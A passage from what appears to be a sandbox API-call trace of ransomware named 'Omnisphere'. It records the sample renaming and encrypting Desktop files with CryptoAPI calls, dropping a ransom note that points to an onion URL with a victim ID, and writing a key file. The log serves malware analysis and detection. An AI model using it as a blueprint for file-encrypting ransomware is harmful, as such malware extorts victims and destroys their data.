bgctqp_oc.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\- BGCTQP_oc.jpg.omnisphere" (normalized: "c:\\users\\fd1hvy\\desktop\\- bgctqp_oc.jpg.omnisphere")) returned 1 [0162.876] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\- BGCTQP_oc.jpg.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\- BGCTQP_oc.jpg.omnisphere.id") returned="C:\\Users\\FD1HVy\\Desktop\\- BGCTQP_oc.jpg.omnisphere.id" [0162.877] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\- BGCTQP_oc.jpg.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\desktop\\- bgctqp_oc.jpg.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0162.878] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0162.879] CloseHandle (hObject=0x3bc) returned 1 [0162.880] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0162.880] CloseHandle (hObject=0x380) returned 1 [0162.880] SetEndOfFile (hFile=0x39c) returned 1 [0162.881] FlushFileBuffers (hFile=0x39c) returned 1 [0162.884] CloseHandle (hObject=0x39c) returned 1 [0162.884] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\Desktop\\- BGCTQP_oc.jpg" | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0162.884] GetProcessHeap () returned 0x1600000 [0162.884] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x164c730 [0162.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0162.885] GetProcessHeap () returned 0x1600000 [0162.885] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733590 [0162.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733590, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0162.885] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0162.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0162.885] GetProcessHeap () returned 0x1600000 [0162.885] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f300 [0162.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f300, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0162.885] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0162.885] GetProcessHeap () returned 0x1600000 [0162.885] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x1606e38 [0162.885] PathCombineW (in: pszDest=0x1606e38, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" [0162.885] GetProcessHeap () returned 0x1600000 [0162.885] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x176f818 [0162.885] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0162.886] WriteFile (in: hFile=0x39c, lpBuffer=0x176f818*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0ebe4, lpOverlapped=0x0 | out: lpBuffer=0x176f818*, lpNumberOfBytesWritten=0x3e0ebe4*=0x588, lpOverlapped=0x0) returned 1 [0162.887] CloseHandle (hObject=0x39c) returned 1 [0162.888] GetProcessHeap () returned 0x1600000 [0162.888] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x164c730 | out: hHeap=0x1600000) returned 1 [0162.888] GetProcessHeap () returned 0x1600000 [0162.888] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a730 [0162.888] PathCombineW (in: pszDest=0x163a730, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" [0162.888] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0162.889] WriteFile (in: hFile=0x39c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ebf8, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ebf8*=0x5a0, lpOverlapped=0x0) returned 1 [0162.891] CloseHandle (hObject=0x39c) returned 1 [0162.891] GetProcessHeap () returned 0x1600000 [0162.891] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a730 | out: hHeap=0x1600000) returned 1 [0162.891] GetProcessHeap () returned 0x1600000 [0162.891] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1691f88 | out: hHeap=0x1600000) returned 1 [0162.891] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d8500, ftCreationTime.dwHighDateTime=0x1d4cec4, ftLastAccessTime.dwLowDateTime=0x99ad3320, ftLastAccessTime.dwHighDateTime=0x1d4d528, ftLastWriteTime.dwLowDateTime=0x99ad3320, ftLastWriteTime.dwHighDateTime=0x1d4d528, nFileSizeHigh=0x0, nFileSizeLow=0xc290, dwReserved0=0x0, dwReserved1=0xf5, cFileName="-HpIv8B0j5lezuuXMs.mkv", cAlternateFileName="-HPIV8~1.MKV")) returned 1 [0162.892] GetProcessHeap () returned 0x1600000 [0162.892] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6c) returned 0x165fbe8 [0162.892] PathCombineW (in: pszDest=0x165fbe8, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="-HpIv8B0j5lezuuXMs.mkv" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\-HpIv8B0j5lezuuXMs.mkv") returned="C:\\Users\\FD1HVy\\Desktop\\-HpIv8B0j5lezuuXMs.mkv" [0162.892] StrStrW (lpFirst=".omnisphere", lpSrch=".mkv") returned 0x0 [0162.892] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\-HpIv8B0j5lezuuXMs.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\-hpiv8b0j5lezuuxms.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0162.892] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=49808) returned 1 [0162.892] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xbd6c, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0162.892] ReadFile (in: hFile=0x39c, lpBuffer=0x3e0e664, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0ebac, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesRead=0x3e0ebac*=0x524, lpOverlapped=0x0) returned 1 [0162.892] GetTickCount () returned 0x1168748 [0162.892] GetTickCount () returned 0x1168748 [0162.892] GetTickCount () returned 0x1168748 [0162.892] GetTickCount () returned 0x1168748 [0162.892] GetTickCount () returned 0x1168748 [0162.892] GetTickCount () returned 0x1168748 [0162.893] GetTickCount () returned 0x1168748 [0162.893] GetTickCount () returned 0x1168748 [0162.893] GetTickCount () returned 0x1168748 [0162.893] GetTickCount () returned 0x1168748 [0162.893] GetTickCount () returned 0x1168748 [0162.893] GetTickCount () returned 0x1168748 [0162.893] GetTickCount () returned 0x1168748 [0162.893] GetTickCount () returned 0x1168748 [0162.893] GetTickCount () returned 0x1168748 [0162.893] GetTickCount () returned 0x1168748 [0162.893] GetTickCount () returned 0x1168748 [0162.893] GetTickCount () returned 0x1168748 [0162.893] GetTickCount () returned 0x1168748 [0162.893] GetTickCount () returned 0x1168748 [0162.893] GetTickCount () returned 0x1168748 [0162.893] GetTickCount () returned 0x1168748 [0162.893] GetTickCount () returned 0x1168748 [0162.893] GetTickCount () returned 0x1168748 [0162.893] GetTickCount () returned 0x1168748 [0162.893] GetTickCount () returned 0x1168748 [0162.893] GetTickCount () returned 0x1168748 [0162.893] GetTickCount () returned 0x1168748 [0162.893] GetTickCount () returned 0x1168748 [0162.893] GetTickCount () returned 0x1168748 [0162.893] GetTickCount () returned 0x1168748 [0162.893] GetTickCount () returned 0x1168748 [0162.893] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x16688a0) returned 1 [0162.894] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x16396a8) returned 1 [0162.894] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0162.894] CryptDestroyKey (hKey=0x16396a8) returned 1 [0162.894] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0162.894] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc290, lpName=0x0) returned 0x380 [0162.894] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc290) returned 0x1480000 [0162.895] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x1669120) returned 1 [0162.895] CryptImportKey (in: hProv=0x1669120, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x1639728) returned 1 [0162.895] CryptSetKeyParam (hKey=0x1639728, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0162.895] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0162.895] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.896] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.896] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.896] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.896] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.896] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.896] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.896] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.896] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.896] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.896] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.896] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.896] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.896] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.896] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.896] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.896] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.896] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.896] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.896] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.896] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.896] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.896] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.897] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.897] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.897] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.897] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.897] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.897] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.897] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.897] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.897] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.897] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.897] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.897] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.897] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.897] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.897] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.897] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.897] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.897] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.897] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.897] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.897] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.897] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.898] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.898] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.898] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.898] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.898] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.898] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.898] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.898] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.898] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.898] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.898] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.898] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.898] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.898] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.898] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.898] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, 